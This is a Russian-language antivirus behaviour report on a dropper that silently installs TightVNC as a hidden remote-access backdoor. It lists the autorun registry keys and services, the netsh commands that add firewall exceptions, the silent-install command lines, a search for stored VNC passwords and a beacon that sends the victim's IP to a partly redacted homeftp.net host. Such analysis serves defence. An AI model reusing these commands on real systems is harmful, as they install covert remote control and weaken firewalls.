Техническая информация
Для обеспечения автозапуска и распространения:
Модифицирует следующие ключи реестра:
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'WinVNC' = '"%PROGRAM_FILES%\TightVNC\WinVNC.exe" -servicehelper'
- [<HKLM>\SOFTWARE\Classes\VncViewer.Config\shell\open\command] '' = '"%PROGRAM_FILES%\TightVNC\vncviewer.exe" -config "%1"'
Создает следующие сервисы:
- [<HKLM>\SYSTEM\ControlSet001\Services\DevService] 'Start' = '00000002'
- [<HKLM>\SYSTEM\ControlSet001\Services\winvnc] 'Start' = '00000002'
Вредоносные функции:
Для обхода брандмауэра удаляет или модифицирует следующие ключи реестра:
- [<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] '%PROGRAM_FILES%\TightVNC\WinVNC.exe' = '%PROGRAM_FILES%\TightVNC\WinVNC.exe:*:Enabled:WinVNC'
- [<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\AuthorizedApplications\List] '%PROGRAM_FILES%\TightVNC\WinVNC.exe' = '%PROGRAM_FILES%\TightVNC\WinVNC.exe:*:Enabled:WinVNC'
Создает и запускает на исполнение:
- '%PROGRAM_FILES%\TightVNC\DevService.exe'
- '%PROGRAM_FILES%\TightVNC\WinVNC.exe' -silent -reinstall
- '%PROGRAM_FILES%\TightVNC\WinVNC.exe' -service
- '<Текущая директория>\tightvnc-1.3.10-setup.exe' /sp- /verysilent
- '%TEMP%\is-T4N5V.tmp\tightvnc-1.3.10-setup.tmp' /SL5="$300DE,1174377,53248,<Текущая директория>\tightvnc-1.3.10-setup.exe" /sp- /verysilent
- '<Текущая директория>\mexplor.exe' /url:http://se######ogin.homeftp.net/cgi-bin/wctrlog.cgi?ip########################################################### /quiet:10000
Запускает на исполнение:
- '<SYSTEM32>\net1.exe' start DevService
- '<SYSTEM32>\ping.exe' -4 -n 1 "CRNJEUFU"
- '<SYSTEM32>\netsh.exe' firewall add allowedprogram program="%PROGRAM_FILES%"\TightVNC\WinVNC.exe name=WinVNC mode=ENABLE scope=ALL profile=ALL
- '<SYSTEM32>\sc.exe' config DevService start= auto
- '<SYSTEM32>\sc.exe' config winvnc start= auto
- '<SYSTEM32>\net1.exe' start winvnc
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="WinVNC" dir=out program="%PROGRAM_FILES%"\TightVNC\WinVNC.exe action=allow
- '%WINDIR%\regedit.exe' /S properties.reg
- '%WINDIR%\explorer.exe' <Текущая директория>
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\1.tmp\vnc-silent-install-n-run-w-properties.bat" "
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="WinVNC" dir=in program="%PROGRAM_FILES%"\TightVNC\WinVNC.exe action=allow
- '<SYSTEM32>\find.exe' /I "WinVNC.exe"
- '<SYSTEM32>\tasklist.exe'
Ищет ветки реестра, отвечающие за хранение паролей сторонними программами:
- [<HKCU>\Software\ORL\WinVNC3]
- [<HKLM>\SOFTWARE\ORL\WinVNC3]
Изменения в файловой системе:
Создает следующие файлы:
- %PROGRAM_FILES%\TightVNC\Web\logo\is-KU4RL.tmp
- %PROGRAM_FILES%\TightVNC\Web\logo\is-2N921.tmp
- %PROGRAM_FILES%\TightVNC\Web\logo\is-L6T95.tmp
- %PROGRAM_FILES%\TightVNC\Web\images\is-6OO7C.tmp
- %PROGRAM_FILES%\TightVNC\Web\images\is-NASSR.tmp
- %PROGRAM_FILES%\TightVNC\Web\images\is-SQ7GE.tmp
- %PROGRAM_FILES%\TightVNC\Web\logo\is-FU6H1.tmp
- %PROGRAM_FILES%\TightVNC\Web\logo\is-LHV5O.tmp
- %PROGRAM_FILES%\TightVNC\Web\doc\win32\is-AAIK5.tmp
- %PROGRAM_FILES%\TightVNC\Web\doc\win32\is-JG32D.tmp
- %PROGRAM_FILES%\TightVNC\Web\logo\is-PCHDI.tmp
- %PROGRAM_FILES%\TightVNC\Web\logo\is-1IV6F.tmp
- %PROGRAM_FILES%\TightVNC\Web\logo\is-CV0MA.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-9DLM2.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-DI2AN.tmp
- %PROGRAM_FILES%\TightVNC\Web\images\is-NBDCB.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-91LO5.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-CF14G.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-NG7PC.tmp
- %PROGRAM_FILES%\TightVNC\Web\images\is-RT7NN.tmp
- %PROGRAM_FILES%\TightVNC\Web\images\is-2NK0K.tmp
- %PROGRAM_FILES%\TightVNC\Web\images\is-0SGG8.tmp
- %PROGRAM_FILES%\TightVNC\Web\images\is-J3SRO.tmp
- %PROGRAM_FILES%\TightVNC\Web\images\is-F130N.tmp
- %PROGRAM_FILES%\TightVNC\Web\images\is-828V0.tmp
- %PROGRAM_FILES%\TightVNC\Web\images\is-772CO.tmp
- %PROGRAM_FILES%\TightVNC\Web\doc\java\is-1E991.tmp
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Documentation\Licensing Terms.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Documentation\Make a Donation.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Documentation\TightVNC Web Site.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Administration\Show Default Settings.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Documentation\About VNC and TightVNC.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Documentation\Installation and Getting Started.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Documentation\What's New (Summary).lnk
- %PROGRAM_FILES%\TightVNC\DevserStop.bat
- %PROGRAM_FILES%\TightVNC\mexplor.exe
- %PROGRAM_FILES%\TightVNC\unins000.dat
- %PROGRAM_FILES%\TightVNC\shakhpel.exe
- %PROGRAM_FILES%\TightVNC\DevService.exe
- %PROGRAM_FILES%\TightVNC\Web\doc\man\is-UGLQ3.tmp
- %PROGRAM_FILES%\TightVNC\Web\doc\man\is-QHNEJ.tmp
- %PROGRAM_FILES%\TightVNC\Web\doc\unix\is-A4LEE.tmp
- %PROGRAM_FILES%\TightVNC\Web\doc\man\is-EPK6B.tmp
- %PROGRAM_FILES%\TightVNC\Web\doc\man\is-3SE66.tmp
- %PROGRAM_FILES%\TightVNC\Web\doc\man\is-DI97K.tmp
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Launch TightVNC Server.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Administration\Install VNC Service.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Administration\Remove VNC Service.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Administration\Run Service Helper.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Show User Settings.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\TightVNC Viewer.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Uninstall TightVNC.lnk
- %PROGRAM_FILES%\TightVNC\Web\is-RUM8H.tmp
- %PROGRAM_FILES%\TightVNC\is-4VJ6S.tmp
- %PROGRAM_FILES%\TightVNC\is-5GGBG.tmp
- %PROGRAM_FILES%\TightVNC\is-90FFT.tmp
- %PROGRAM_FILES%\TightVNC\is-CU674.tmp
- %PROGRAM_FILES%\TightVNC\is-TTIB3.tmp
- %PROGRAM_FILES%\TightVNC\is-RCG56.tmp
- %PROGRAM_FILES%\TightVNC\is-DEM85.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-RV1E4.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-925HH.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-PONMS.tmp
- %PROGRAM_FILES%\TightVNC\is-JNNCL.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-221RG.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-L7LUS.tmp
- <Текущая директория>\mexplor.exe
- <Текущая директория>\properties.reg
- <Текущая директория>\shakhpel.exe
- %TEMP%\1.tmp\vnc-silent-install-n-run-w-properties.bat
- <Текущая директория>\DevserStop.bat
- <Текущая директория>\DevService.exe
- <Текущая директория>\tightvnc-1.3.10-setup.exe
- %TEMP%\is-HPHJC.tmp\_isetup\_RegDLL.tmp
- %TEMP%\is-HPHJC.tmp\_isetup\_shfoldr.dll
- %TEMP%\is-HPHJC.tmp\_isetup\_isdecmp.dll
- <Текущая директория>\vnc-silent-install-n-run-w-properties.bat
- <Текущая директория>\log.txt
- %TEMP%\is-T4N5V.tmp\tightvnc-1.3.10-setup.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-F8EMR.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-JOQAF.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-74GIB.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-4UNPU.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-Q51MR.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-LBPTB.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-PB4J5.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-78S14.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-QJDKH.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-IIPNC.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-JV8GS.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-A7PBA.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-0DSTE.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-ODBKD.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-I5QAG.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-E7GE4.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-BBEFH.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-PUMGS.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-UMDM8.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-A2Q1D.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-3VQ2R.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-FIG6T.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-P06JT.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-KL136.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-7T70J.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-BBE7L.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-8KR65.tmp
Удаляет следующие файлы:
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\TightVNC Viewer.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Uninstall TightVNC.lnk
- <Текущая директория>\DevserStop.bat
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Documentation\What's New (Summary).lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Launch TightVNC Server.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Show User Settings.lnk
- <Текущая директория>\DevService.exe
- <Текущая директория>\tightvnc-1.3.10-setup.exe
- <Текущая директория>\vnc-silent-install-n-run-w-properties.bat
- %TEMP%\1.tmp\vnc-silent-install-n-run-w-properties.bat
- <Текущая директория>\mexplor.exe
- <Текущая директория>\properties.reg
- <Текущая директория>\shakhpel.exe
- %TEMP%\is-T4N5V.tmp\tightvnc-1.3.10-setup.tmp
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Administration\Install VNC Service.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Administration\Remove VNC Service.lnk
- %TEMP%\is-HPHJC.tmp\_isetup\_isdecmp.dll
- %TEMP%\is-HPHJC.tmp\_isetup\_RegDLL.tmp
- %TEMP%\is-HPHJC.tmp\_isetup\_shfoldr.dll
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Administration\Run Service Helper.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Documentation\Licensing Terms.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Documentation\Make a Donation.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Documentation\TightVNC Web Site.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Administration\Show Default Settings.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Documentation\About VNC and TightVNC.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Documentation\Installation and Getting Started.lnk
Перемещает следующие файлы:
- %PROGRAM_FILES%\TightVNC\Web\images\is-F130N.tmp в %PROGRAM_FILES%\TightVNC\Web\images\viewer-newconn.png
- %PROGRAM_FILES%\TightVNC\Web\images\is-828V0.tmp в %PROGRAM_FILES%\TightVNC\Web\images\winvnc-icon-connected.png
- %PROGRAM_FILES%\TightVNC\Web\images\is-NBDCB.tmp в %PROGRAM_FILES%\TightVNC\Web\images\viewer-newconn-help1.png
- %PROGRAM_FILES%\TightVNC\Web\images\is-RT7NN.tmp в %PROGRAM_FILES%\TightVNC\Web\images\viewer-newconn-help2.png
- %PROGRAM_FILES%\TightVNC\Web\images\is-772CO.tmp в %PROGRAM_FILES%\TightVNC\Web\images\winvnc-icon-disabled-hint.png
- %PROGRAM_FILES%\TightVNC\Web\images\is-J3SRO.tmp в %PROGRAM_FILES%\TightVNC\Web\images\winvnc-icon-normal.png
- %PROGRAM_FILES%\TightVNC\Web\images\is-6OO7C.tmp в %PROGRAM_FILES%\TightVNC\Web\images\winvnc-icon-service-hint.png
- %PROGRAM_FILES%\TightVNC\Web\images\is-2NK0K.tmp в %PROGRAM_FILES%\TightVNC\Web\images\winvnc-icon-disabled.png
- %PROGRAM_FILES%\TightVNC\Web\images\is-0SGG8.tmp в %PROGRAM_FILES%\TightVNC\Web\images\winvnc-icon-ip.png
- %PROGRAM_FILES%\TightVNC\Web\is-JV8GS.tmp в %PROGRAM_FILES%\TightVNC\Web\vncserver.1.html
- %PROGRAM_FILES%\TightVNC\Web\is-RUM8H.tmp в %PROGRAM_FILES%\TightVNC\Web\vncviewer.1.html
- %PROGRAM_FILES%\TightVNC\Web\is-QJDKH.tmp в %PROGRAM_FILES%\TightVNC\Web\vncconnect.1.html
- %PROGRAM_FILES%\TightVNC\Web\is-IIPNC.tmp в %PROGRAM_FILES%\TightVNC\Web\vncpasswd.1.html
- %PROGRAM_FILES%\TightVNC\Web\is-91LO5.tmp в %PROGRAM_FILES%\TightVNC\Web\whatsnew.html
- %PROGRAM_FILES%\TightVNC\Web\is-9DLM2.tmp в %PROGRAM_FILES%\TightVNC\Web\winst_id.html
- %PROGRAM_FILES%\TightVNC\Web\is-DI2AN.tmp в %PROGRAM_FILES%\TightVNC\Web\Xvnc.1.html
- %PROGRAM_FILES%\TightVNC\Web\is-CF14G.tmp в %PROGRAM_FILES%\TightVNC\Web\WhatsNew.txt
- %PROGRAM_FILES%\TightVNC\Web\is-NG7PC.tmp в %PROGRAM_FILES%\TightVNC\Web\winst.html
- %PROGRAM_FILES%\TightVNC\Web\images\is-NASSR.tmp в %PROGRAM_FILES%\TightVNC\Web\images\winvnc-menu.png
- %PROGRAM_FILES%\TightVNC\Web\doc\java\is-1E991.tmp в %PROGRAM_FILES%\TightVNC\Web\doc\java\README.txt
- %PROGRAM_FILES%\TightVNC\Web\doc\man\is-EPK6B.tmp в %PROGRAM_FILES%\TightVNC\Web\doc\man\vncconnect.man
- %PROGRAM_FILES%\TightVNC\Web\doc\win32\is-AAIK5.tmp в %PROGRAM_FILES%\TightVNC\Web\doc\win32\BUILDING.txt
- %PROGRAM_FILES%\TightVNC\Web\doc\win32\is-JG32D.tmp в %PROGRAM_FILES%\TightVNC\Web\doc\win32\README.txt
- %PROGRAM_FILES%\TightVNC\Web\doc\man\is-3SE66.tmp в %PROGRAM_FILES%\TightVNC\Web\doc\man\vncpasswd.man
- %PROGRAM_FILES%\TightVNC\Web\doc\man\is-QHNEJ.tmp в %PROGRAM_FILES%\TightVNC\Web\doc\man\Xvnc.man
- %PROGRAM_FILES%\TightVNC\Web\doc\unix\is-A4LEE.tmp в %PROGRAM_FILES%\TightVNC\Web\doc\unix\README.txt
- %PROGRAM_FILES%\TightVNC\Web\doc\man\is-DI97K.tmp в %PROGRAM_FILES%\TightVNC\Web\doc\man\vncserver.man
- %PROGRAM_FILES%\TightVNC\Web\doc\man\is-UGLQ3.tmp в %PROGRAM_FILES%\TightVNC\Web\doc\man\vncviewer.man
- %PROGRAM_FILES%\TightVNC\Web\logo\is-2N921.tmp в %PROGRAM_FILES%\TightVNC\Web\logo\manager_logo.gif
- %PROGRAM_FILES%\TightVNC\Web\logo\is-L6T95.tmp в %PROGRAM_FILES%\TightVNC\Web\logo\osxvnc.gif
- %PROGRAM_FILES%\TightVNC\Web\images\is-SQ7GE.tmp в %PROGRAM_FILES%\TightVNC\Web\images\wiz-tasks.png
- %PROGRAM_FILES%\TightVNC\Web\logo\is-KU4RL.tmp в %PROGRAM_FILES%\TightVNC\Web\logo\kaboodle.gif
- %PROGRAM_FILES%\TightVNC\Web\logo\is-FU6H1.tmp в %PROGRAM_FILES%\TightVNC\Web\logo\projector.gif
- %PROGRAM_FILES%\TightVNC\Web\logo\is-CV0MA.tmp в %PROGRAM_FILES%\TightVNC\Web\logo\tux_klein.gif
- %PROGRAM_FILES%\TightVNC\Web\logo\is-LHV5O.tmp в %PROGRAM_FILES%\TightVNC\Web\logo\vncrobot.gif
- %PROGRAM_FILES%\TightVNC\Web\logo\is-PCHDI.tmp в %PROGRAM_FILES%\TightVNC\Web\logo\projector20x20.gif
- %PROGRAM_FILES%\TightVNC\Web\logo\is-1IV6F.tmp в %PROGRAM_FILES%\TightVNC\Web\logo\thumbnailviewer.gif
- %PROGRAM_FILES%\TightVNC\Web\is-925HH.tmp в %PROGRAM_FILES%\TightVNC\Web\contribute.html
- %PROGRAM_FILES%\TightVNC\Web\is-PONMS.tmp в %PROGRAM_FILES%\TightVNC\Web\docs.html
- %PROGRAM_FILES%\TightVNC\Web\is-L7LUS.tmp в %PROGRAM_FILES%\TightVNC\Web\bugs.html
- %PROGRAM_FILES%\TightVNC\Web\is-RV1E4.tmp в %PROGRAM_FILES%\TightVNC\Web\contact.html
- %PROGRAM_FILES%\TightVNC\Web\is-F8EMR.tmp в %PROGRAM_FILES%\TightVNC\Web\donate.html
- %PROGRAM_FILES%\TightVNC\Web\is-A2Q1D.tmp в %PROGRAM_FILES%\TightVNC\Web\edev.jpg
- %PROGRAM_FILES%\TightVNC\Web\is-I5QAG.tmp в %PROGRAM_FILES%\TightVNC\Web\emnt.jpg
- %PROGRAM_FILES%\TightVNC\Web\is-PUMGS.tmp в %PROGRAM_FILES%\TightVNC\Web\donate.jpg
- %PROGRAM_FILES%\TightVNC\Web\is-UMDM8.tmp в %PROGRAM_FILES%\TightVNC\Web\download.html
- %PROGRAM_FILES%\TightVNC\is-RCG56.tmp в %PROGRAM_FILES%\TightVNC\VNCHooks.dll
- %PROGRAM_FILES%\TightVNC\is-4VJ6S.tmp в %PROGRAM_FILES%\TightVNC\vncviewer.exe
- %PROGRAM_FILES%\TightVNC\is-CU674.tmp в %PROGRAM_FILES%\TightVNC\unins000.exe
- %PROGRAM_FILES%\TightVNC\is-TTIB3.tmp в %PROGRAM_FILES%\TightVNC\WinVNC.exe
- %PROGRAM_FILES%\TightVNC\is-5GGBG.tmp в %PROGRAM_FILES%\TightVNC\README.txt
- %PROGRAM_FILES%\TightVNC\is-JNNCL.tmp в %PROGRAM_FILES%\TightVNC\TightVNC-donate.url
- %PROGRAM_FILES%\TightVNC\Web\is-221RG.tmp в %PROGRAM_FILES%\TightVNC\Web\brpixel.jpg
- %PROGRAM_FILES%\TightVNC\is-90FFT.tmp в %PROGRAM_FILES%\TightVNC\LICENCE.txt
- %PROGRAM_FILES%\TightVNC\is-DEM85.tmp в %PROGRAM_FILES%\TightVNC\TightVNC.url
- %PROGRAM_FILES%\TightVNC\Web\is-E7GE4.tmp в %PROGRAM_FILES%\TightVNC\Web\faq.html
- %PROGRAM_FILES%\TightVNC\Web\is-JOQAF.tmp в %PROGRAM_FILES%\TightVNC\Web\roadmap.html
- %PROGRAM_FILES%\TightVNC\Web\is-74GIB.tmp в %PROGRAM_FILES%\TightVNC\Web\screenshots.html
- %PROGRAM_FILES%\TightVNC\Web\is-LBPTB.tmp в %PROGRAM_FILES%\TightVNC\Web\release-1.3.10.html
- %PROGRAM_FILES%\TightVNC\Web\is-PB4J5.tmp в %PROGRAM_FILES%\TightVNC\Web\rfe.html
- %PROGRAM_FILES%\TightVNC\Web\is-4UNPU.tmp в %PROGRAM_FILES%\TightVNC\Web\sitemap.html
- %PROGRAM_FILES%\TightVNC\Web\is-0DSTE.tmp в %PROGRAM_FILES%\TightVNC\Web\tightvnc-logo.jpg
- %PROGRAM_FILES%\TightVNC\Web\is-ODBKD.tmp в %PROGRAM_FILES%\TightVNC\Web\tightvnc.css
- %PROGRAM_FILES%\TightVNC\Web\is-78S14.tmp в %PROGRAM_FILES%\TightVNC\Web\support.html
- %PROGRAM_FILES%\TightVNC\Web\is-A7PBA.tmp в %PROGRAM_FILES%\TightVNC\Web\supporters-terms.html
- %PROGRAM_FILES%\TightVNC\Web\is-7T70J.tmp в %PROGRAM_FILES%\TightVNC\Web\larrow.jpg
- %PROGRAM_FILES%\TightVNC\Web\is-BBE7L.tmp в %PROGRAM_FILES%\TightVNC\Web\ldot.jpg
- %PROGRAM_FILES%\TightVNC\Web\is-BBEFH.tmp в %PROGRAM_FILES%\TightVNC\Web\index.html
- %PROGRAM_FILES%\TightVNC\Web\is-3VQ2R.tmp в %PROGRAM_FILES%\TightVNC\Web\intro.html
- %PROGRAM_FILES%\TightVNC\Web\is-8KR65.tmp в %PROGRAM_FILES%\TightVNC\Web\lists.html
- %PROGRAM_FILES%\TightVNC\Web\is-KL136.tmp в %PROGRAM_FILES%\TightVNC\Web\powered_kagi_150x30.gif
- %PROGRAM_FILES%\TightVNC\Web\is-Q51MR.tmp в %PROGRAM_FILES%\TightVNC\Web\related.html
- %PROGRAM_FILES%\TightVNC\Web\is-FIG6T.tmp в %PROGRAM_FILES%\TightVNC\Web\md5sums.txt
- %PROGRAM_FILES%\TightVNC\Web\is-P06JT.tmp в %PROGRAM_FILES%\TightVNC\Web\othersites.html
Сетевая активность:
Подключается к:
- 'localhost':5900
- 'se######ogin.homeftp.net':80
- 'localhost':1038
TCP:
Запросы HTTP GET:
- se######ogin.homeftp.net/cgi-bin/wctrlog.cgi?ip####################################################
UDP:
- DNS ASK se######ogin.homeftp.net
Другое:
Ищет следующие окна:
- ClassName: 'MS_AutodialMonitor' WindowName: '(null)'
- ClassName: 'MS_WebcheckMonitor' WindowName: '(null)'
- ClassName: 'RegEdit_RegEdit' WindowName: '(null)'
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'
- ClassName: '' WindowName: '(null)'
